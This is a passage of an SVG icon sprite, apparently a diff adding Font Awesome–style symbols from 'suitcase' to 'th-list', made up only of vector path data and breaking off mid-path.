<symbol id="suitcase" viewBox="0 0 512 512"> + <path d="M128 480h256V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v400zm64-384h128v32H192V96zm320 80v256c0 26.5-21.5 48-48 48h-48V128h48c26.5 0 48 21.5 48 48zM96 480H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h48v352z"></path> + </symbol> + <symbol id="suitcase-rolling" viewBox="0 0 384 512"> + <path d="M336 160H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h16v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h128v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h16c26.51 0 48-21.49 48-48V208c0-26.51-21.49-48-48-48zm-16 216c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zM144 48h96v80h48V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v80h48V48z"></path> + </symbol> + <symbol id="sun" viewBox="0 0 512 512"> + <path d="M256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm246.4 80.5l-94.7-47.3 33.5-100.4c4.5-13.6-8.4-26.5-21.9-21.9l-100.4 33.5-47.4-94.8c-6.4-12.8-24.6-12.8-31 0l-47.3 94.7L92.7 70.8c-13.6-4.5-26.5 8.4-21.9 21.9l33.5 100.4-94.7 47.4c-12.8 6.4-12.8 24.6 0 31l94.7 47.3-33.5 100.5c-4.5 13.6 8.4 26.5 21.9 21.9l100.4-33.5 47.3 94.7c6.4 12.8 24.6 12.8 31 0l47.3-94.7 100.4 33.5c13.6 4.5 26.5-8.4 21.9-21.9l-33.5-100.4 94.7-47.3c13-6.5 13-24.7.2-31.1zm-155.9 106c-49.9 49.9-131.1 49.9-181 0-49.9-49.9-49.9-131.1 0-181 49.9-49.9 131.1-49.9 181 0 49.9 49.9 49.9 131.1 0 181z"></path> + </symbol> + <symbol id="superscript" viewBox="0 0 512 512"> + <path d="M496 160h-16V16a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 64h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="surprise" viewBox="0 0 496 512"> + <path d="M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm112 208c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm80-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="swatchbook" viewBox="0 0 512 512"> + <path d="M434.66,167.71h0L344.5,77.36a31.83,31.83,0,0,0-45-.07h0l-.07.07L224,152.88V424L434.66,212.9A32,32,0,0,0,434.66,167.71ZM480,320H373.09L186.68,506.51c-2.06,2.07-4.5,3.58-6.68,5.49H480a32,32,0,0,0,32-32V352A32,32,0,0,0,480,320ZM192,32A32,32,0,0,0,160,0H32A32,32,0,0,0,0,32V416a96,96,0,0,0,192,0ZM96,440a24,24,0,1,1,24-24A24,24,0,0,1,96,440Zm32-184H64V192h64Zm0-128H64V64h64Z"></path> + </symbol> + <symbol id="swimmer" viewBox="0 0 640 512"> + <path d="M189.61 310.58c3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c16.02-14.77 34.5-22.58 53.46-22.58h16.3c18.96 0 37.45 7.81 53.46 22.58 3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c14.86-13.71 31.88-21.12 49.39-22.16l-112.84-80.6 18-12.86c3.64-2.58 8.28-3.52 12.62-2.61l100.35 21.53c25.91 5.53 51.44-10.97 57-36.88 5.55-25.92-10.95-51.44-36.88-57L437.68 98.47c-30.73-6.58-63.02.12-88.56 18.38l-80.02 57.17c-10.38 7.39-19.36 16.44-26.72 26.94L173.75 299c5.47 3.23 10.82 6.93 15.86 11.58zM624 352h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 343.58 442.04 352 416 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 343.58 250.04 352 224 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 343.58 58.04 352 32 352H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-512-96c44.18 0 80-35.82 80-80s-35.82-80-80-80-80 35.82-80 80 35.82 80 80 80z"></path> + </symbol> + <symbol id="swimming-pool" viewBox="0 0 640 512"> + <path d="M624 416h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 407.58 442.04 416 416 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 407.58 250.04 416 224 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 407.58 58.04 416 32 416H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-400-32v-96h192v96c19.12 0 30.86-6.16 34.39-9.42 9.17-8.46 19.2-14.34 29.61-18.07V128c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v96H224v-96c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v228.5c10.41 3.73 20.44 9.62 29.61 18.07 3.53 3.27 15.27 9.43 34.39 9.43z"></path> + </symbol> + <symbol id="synagogue" viewBox="0 0 640 512"> + <path d="M70 196.51L6.67 268.29A26.643 26.643 0 0 0 0 285.93V512h128V239.58l-38-43.07c-5.31-6.01-14.69-6.01-20 0zm563.33 71.78L570 196.51c-5.31-6.02-14.69-6.02-20 0l-38 43.07V512h128V285.93c0-6.5-2.37-12.77-6.67-17.64zM339.99 7.01c-11.69-9.35-28.29-9.35-39.98 0l-128 102.4A32.005 32.005 0 0 0 160 134.4V512h96v-92.57c0-31.88 21.78-61.43 53.25-66.55C349.34 346.35 384 377.13 384 416v96h96V134.4c0-9.72-4.42-18.92-12.01-24.99l-128-102.4zm52.07 215.55c1.98 3.15-.29 7.24-4 7.24h-38.94L324 269.79c-1.85 2.95-6.15 2.95-8 0l-25.12-39.98h-38.94c-3.72 0-5.98-4.09-4-7.24l19.2-30.56-19.2-30.56c-1.98-3.15.29-7.24 4-7.24h38.94l25.12-40c1.85-2.95 6.15-2.95 8 0l25.12 39.98h38.95c3.71 0 5.98 4.09 4 7.24L372.87 192l19.19 30.56z"></path> + </symbol> + <symbol id="sync" viewBox="0 0 512 512"> + <path d="M440.65 12.57l4 82.77A247.16 247.16 0 0 0 255.83 8C134.73 8 33.91 94.92 12.29 209.82A12 12 0 0 0 24.09 224h49.05a12 12 0 0 0 11.67-9.26 175.91 175.91 0 0 1 317-56.94l-101.46-4.86a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12H500a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12h-47.37a12 12 0 0 0-11.98 12.57zM255.83 432a175.61 175.61 0 0 1-146-77.8l101.8 4.87a12 12 0 0 0 12.57-12v-47.4a12 12 0 0 0-12-12H12a12 12 0 0 0-12 12V500a12 12 0 0 0 12 12h47.35a12 12 0 0 0 12-12.6l-4.15-82.57A247.17 247.17 0 0 0 255.83 504c121.11 0 221.93-86.92 243.55-201.82a12 12 0 0 0-11.8-14.18h-49.05a12 12 0 0 0-11.67 9.26A175.86 175.86 0 0 1 255.83 432z"></path> + </symbol> + <symbol id="sync-alt" viewBox="0 0 512 512"> + <path d="M370.72 133.28C339.458 104.008 298.888 87.962 255.848 88c-77.458.068-144.328 53.178-162.791 126.85-1.344 5.363-6.122 9.15-11.651 9.15H24.103c-7.498 0-13.194-6.807-11.807-14.176C33.933 94.924 134.813 8 256 8c66.448 0 126.791 26.136 171.315 68.685L463.03 40.97C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.749zM32 296h134.059c21.382 0 32.09 25.851 16.971 40.971l-41.75 41.75c31.262 29.273 71.835 45.319 114.876 45.28 77.418-.07 144.315-53.144 162.787-126.849 1.344-5.363 6.122-9.15 11.651-9.15h57.304c7.498 0 13.194 6.807 11.807 14.176C478.067 417.076 377.187 504 256 504c-66.448 0-126.791-26.136-171.315-68.685L48.97 471.03C33.851 486.149 8 475.441 8 454.059V320c0-13.255 10.745-24 24-24z"></path> + </symbol> + <symbol id="syringe" viewBox="0 0 512 512"> + <path d="M201.5 174.8l55.7 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-55.7-55.8-45.3 45.3 55.8 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L111 265.2l-26.4 26.4c-17.3 17.3-25.6 41.1-23 65.4l7.1 63.6L2.3 487c-3.1 3.1-3.1 8.2 0 11.3l11.3 11.3c3.1 3.1 8.2 3.1 11.3 0l66.3-66.3 63.6 7.1c23.9 2.6 47.9-5.4 65.4-23l181.9-181.9-135.7-135.7-64.9 65zm308.2-93.3L430.5 2.3c-3.1-3.1-8.2-3.1-11.3 0l-11.3 11.3c-3.1 3.1-3.1 8.2 0 11.3l28.3 28.3-45.3 45.3-56.6-56.6-17-17c-3.1-3.1-8.2-3.1-11.3 0l-33.9 33.9c-3.1 3.1-3.1 8.2 0 11.3l17 17L424.8 223l17 17c3.1 3.1 8.2 3.1 11.3 0l33.9-34c3.1-3.1 3.1-8.2 0-11.3l-73.5-73.5 45.3-45.3 28.3 28.3c3.1 3.1 8.2 3.1 11.3 0l11.3-11.3c3.1-3.2 3.1-8.2 0-11.4z"></path> + </symbol> + <symbol id="table" viewBox="0 0 512 512"> + <path d="M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64v-96h160v96zm0-160H64v-96h160v96zm224 160H288v-96h160v96zm0-160H288v-96h160v96z"></path> + </symbol> + <symbol id="table-tennis" viewBox="0 0 512 512"> + <path d="M496.2 296.5C527.7 218.7 512 126.2 449 63.1 365.1-21 229-21 145.1 63.1l-56 56.1 211.5 211.5c46.1-62.1 131.5-77.4 195.6-34.2zm-217.9 79.7L57.9 155.9c-27.3 45.3-21.7 105 17.3 144.1l34.5 34.6L6.7 424c-8.6 7.5-9.1 20.7-1 28.8l53.4 53.5c8 8.1 21.2 7.6 28.7-1L177.1 402l35.7 35.7c19.7 19.7 44.6 30.5 70.3 33.3-7.1-17-11-35.6-11-55.1-.1-13.8 2.5-27 6.2-39.7zM416 320c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96z"></path> + </symbol> + <symbol id="tablet" viewBox="0 0 448 512"> + <path d="M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"></path> + </symbol> + <symbol id="tablet-alt" viewBox="0 0 448 512"> + <path d="M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm176-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h328c6.6 0 12 5.4 12 12v312z"></path> + </symbol> + <symbol id="tablets" viewBox="0 0 640 512"> + <path d="M160 192C78.9 192 12.5 250.5.1 326.7c-.8 4.8 3.3 9.3 8.3 9.3h303.3c5 0 9.1-4.5 8.3-9.3C307.5 250.5 241.1 192 160 192zm151.6 176H8.4c-5 0-9.1 4.5-8.3 9.3C12.5 453.5 78.9 512 160 512s147.5-58.5 159.9-134.7c.8-4.8-3.3-9.3-8.3-9.3zM593.4 46.6c-56.5-56.5-144.2-61.4-206.9-16-4 2.9-4.3 8.9-.8 12.3L597 254.3c3.5 3.5 9.5 3.2 12.3-.8 45.5-62.7 40.6-150.4-15.9-206.9zM363 65.7c-3.5-3.5-9.5-3.2-12.3.8-45.4 62.7-40.5 150.4 15.9 206.9 56.5 56.5 144.2 61.4 206.9 15.9 4-2.9 4.3-8.9.8-12.3L363 65.7z"></path> + </symbol> + <symbol id="tachometer-alt" viewBox="0 0 576 512"> + <path d="M288 32C128.94 32 0 160.94 0 320c0 52.8 14.25 102.26 39.06 144.8 5.61 9.62 16.3 15.2 27.44 15.2h443c11.14 0 21.83-5.58 27.44-15.2C561.75 422.26 576 372.8 576 320c0-159.06-128.94-288-288-288zm0 64c14.71 0 26.58 10.13 30.32 23.65-1.11 2.26-2.64 4.23-3.45 6.67l-9.22 27.67c-5.13 3.49-10.97 6.01-17.64 6.01-17.67 0-32-14.33-32-32S270.33 96 288 96zM96 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm48-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm246.77-72.41l-61.33 184C343.13 347.33 352 364.54 352 384c0 11.72-3.38 22.55-8.88 32H232.88c-5.5-9.45-8.88-20.28-8.88-32 0-33.94 26.5-61.43 59.9-63.59l61.34-184.01c4.17-12.56 17.73-19.45 30.36-15.17 12.57 4.19 19.35 17.79 15.17 30.36zm14.66 57.2l15.52-46.55c3.47-1.29 7.13-2.23 11.05-2.23 17.67 0 32 14.33 32 32s-14.33 32-32 32c-11.38-.01-20.89-6.28-26.57-15.22zM480 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="tag" viewBox="0 0 512 512"> + <path d="M0 252.118V48C0 21.49 21.49 0 48 0h204.118a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882L293.823 497.941c-18.745 18.745-49.137 18.745-67.882 0L14.059 286.059A48 48 0 0 1 0 252.118zM112 64c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z"></path> + </symbol> + <symbol id="tags" viewBox="0 0 640 512"> + <path d="M497.941 225.941L286.059 14.059A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v204.118a48 48 0 0 0 14.059 33.941l211.882 211.882c18.744 18.745 49.136 18.746 67.882 0l204.118-204.118c18.745-18.745 18.745-49.137 0-67.882zM112 160c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm513.941 133.823L421.823 497.941c-18.745 18.745-49.137 18.745-67.882 0l-.36-.36L527.64 323.522c16.999-16.999 26.36-39.6 26.36-63.64s-9.362-46.641-26.36-63.64L331.397 0h48.721a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882z"></path> + </symbol> + <symbol id="tape" viewBox="0 0 640 512"> + <path d="M224 192c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm400 224H380.6c41.5-40.7 67.4-97.3 67.4-160 0-123.7-100.3-224-224-224S0 132.3 0 256s100.3 224 224 224h400c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400-64c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96z"></path> + </symbol> + <symbol id="tasks" viewBox="0 0 512 512"> + <path d="M139.61 35.5a12 12 0 0 0-17 0L58.93 98.81l-22.7-22.12a12 12 0 0 0-17 0L3.53 92.41a12 12 0 0 0 0 17l47.59 47.4a12.78 12.78 0 0 0 17.61 0l15.59-15.62L156.52 69a12.09 12.09 0 0 0 .09-17zm0 159.19a12 12 0 0 0-17 0l-63.68 63.72-22.7-22.1a12 12 0 0 0-17 0L3.53 252a12 12 0 0 0 0 17L51 316.5a12.77 12.77 0 0 0 17.6 0l15.7-15.69 72.2-72.22a12 12 0 0 0 .09-16.9zM64 368c-26.49 0-48.59 21.5-48.59 48S37.53 464 64 464a48 48 0 0 0 0-96zm432 16H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"></path> + </symbol> + <symbol id="taxi" viewBox="0 0 512 512"> + <path d="M462 241.64l-22-84.84c-9.6-35.2-41.6-60.8-76.8-60.8H352V64c0-17.67-14.33-32-32-32H192c-17.67 0-32 14.33-32 32v32h-11.2c-35.2 0-67.2 25.6-76.8 60.8l-22 84.84C21.41 248.04 0 273.47 0 304v48c0 23.63 12.95 44.04 32 55.12V448c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-40.88c19.05-11.09 32-31.5 32-55.12v-48c0-30.53-21.41-55.96-50-62.36zM96 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm20.55-112l17.2-66.36c2.23-8.16 9.59-13.64 15.06-13.64h214.4c5.47 0 12.83 5.48 14.85 12.86L395.45 240h-278.9zM416 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"></path> + </symbol> + <symbol id="teeth" viewBox="0 0 640 512"> + <path d="M544 0H96C42.98 0 0 42.98 0 96v320c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96zM160 368c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm128 128c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64z"></path> + </symbol> + <symbol id="teeth-open" viewBox="0 0 640 512"> + <path d="M544 0H96C42.98 0 0 42.98 0 96v64c0 35.35 28.66 64 64 64h512c35.34 0 64-28.65 64-64V96c0-53.02-42.98-96-96-96zM160 176c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm128 0c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm0 144H64c-35.34 0-64 28.65-64 64v32c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96v-32c0-35.35-28.66-64-64-64zm-416 80c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32zm144-8c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm144 0c0 30.93-25.07 56-56 56s-56-25.07-56-56v-24c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v24zm128 8c0 26.51-21.49 48-48 48s-48-21.49-48-48v-32c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v32z"></path> + </symbol> + <symbol id="temperature-high" viewBox="0 0 512 512"> + <path d="M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V112c0-8.8-7.2-16-16-16s-16 7.2-16 16v210.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z"></path> + </symbol> + <symbol id="temperature-low" viewBox="0 0 512 512"> + <path d="M416 0c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm0 128c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm-160-16C256 50.1 205.9 0 144 0S32 50.1 32 112v166.5C12.3 303.2 0 334 0 368c0 79.5 64.5 144 144 144s144-64.5 144-144c0-34-12.3-64.9-32-89.5V112zM144 448c-44.1 0-80-35.9-80-80 0-25.5 12.2-48.9 32-63.8V112c0-26.5 21.5-48 48-48s48 21.5 48 48v192.2c19.8 14.8 32 38.3 32 63.8 0 44.1-35.9 80-80 80zm16-125.1V304c0-8.8-7.2-16-16-16s-16 7.2-16 16v18.9c-18.6 6.6-32 24.2-32 45.1 0 26.5 21.5 48 48 48s48-21.5 48-48c0-20.9-13.4-38.5-32-45.1z"></path> + </symbol> + <symbol id="tenge" viewBox="0 0 384 512"> + <path d="M372 160H12c-6.6 0-12 5.4-12 12v56c0 6.6 5.4 12 12 12h140v228c0 6.6 5.4 12 12 12h56c6.6 0 12-5.4 12-12V240h140c6.6 0 12-5.4 12-12v-56c0-6.6-5.4-12-12-12zm0-128H12C5.4 32 0 37.4 0 44v56c0 6.6 5.4 12 12 12h360c6.6 0 12-5.4 12-12V44c0-6.6-5.4-12-12-12z"></path> + </symbol> + <symbol id="terminal" viewBox="0 0 640 512"> + <path d="M257.981 272.971L63.638 467.314c-9.373 9.373-24.569 9.373-33.941 0L7.029 444.647c-9.357-9.357-9.375-24.522-.04-33.901L161.011 256 6.99 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L257.981 239.03c9.373 9.372 9.373 24.568 0 33.941zM640 456v-32c0-13.255-10.745-24-24-24H312c-13.255 0-24 10.745-24 24v32c0 13.255 10.745 24 24 24h304c13.255 0 24-10.745 24-24z"></path> + </symbol> + <symbol id="text-height" viewBox="0 0 576 512"> + <path d="M304 32H16A16 16 0 0 0 0 48v96a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32h56v304H80a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h160a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-40V112h56v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm256 336h-48V144h48c14.31 0 21.33-17.31 11.31-27.31l-80-80a16 16 0 0 0-22.62 0l-80 80C379.36 126 384.36 144 400 144h48v224h-48c-14.31 0-21.32 17.31-11.31 27.31l80 80a16 16 0 0 0 22.62 0l80-80C580.64 386 575.64 368 560 368z"></path> + </symbol> + <symbol id="text-width" viewBox="0 0 448 512"> + <path d="M432 32H16A16 16 0 0 0 0 48v80a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-16h120v112h-24a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-24V112h120v16a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm-68.69 260.69C354 283.36 336 288.36 336 304v48H112v-48c0-14.31-17.31-21.32-27.31-11.31l-80 80a16 16 0 0 0 0 22.62l80 80C94 484.64 112 479.64 112 464v-48h224v48c0 14.31 17.31 21.33 27.31 11.31l80-80a16 16 0 0 0 0-22.62z"></path> + </symbol> + <symbol id="th" viewBox="0 0 512 512"> + <path d="M149.333 56v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zm181.334 240v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm32-240v80c0 13.255 10.745 24 24 24H488c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24zm-32 80V56c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.256 0 24.001-10.745 24.001-24zm-205.334 56H24c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm386.667-56H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zm0 160H488c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H386.667c-13.255 0-24 10.745-24 24v80c0 13.255 10.745 24 24 24zM181.333 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H205.333c-13.255 0-24 10.745-24 24z"></path> + </symbol> + <symbol id="th-large" viewBox="0 0 512 512"> + <path d="M296 32h192c13.255 0 24 10.745 24 24v160c0 13.255-10.745 24-24 24H296c-13.255 0-24-10.745-24-24V56c0-13.255 10.745-24 24-24zm-80 0H24C10.745 32 0 42.745 0 56v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V56c0-13.255-10.745-24-24-24zM0 296v160c0 13.255 10.745 24 24 24h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zm296 184h192c13.255 0 24-10.745 24-24V296c0-13.255-10.745-24-24-24H296c-13.255 0-24 10.745-24 24v160c0 13.255 10.745 24 24 24z"></path> + </symbol> + <symbol id="th-list" viewBox="0 0 512 512"> + <path d="M149.333 216v80c0 13.255-10.745 24-24 24H24c-13.255 0-24-10.745-24-24v-80c0-13.255 10.745-24 24-24h101.333c13.255 0 24 10.745 24 24zM0 376v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 24-24v-80c0-13.255-10.745-24-24-24H24c-13.255 0-24 10.745-24 24zM125.333 32H24C10.745 32 0 42.745 0 56v80c0 13.255 10.745 24 24 24h101.333c13.255 0 24-10.745 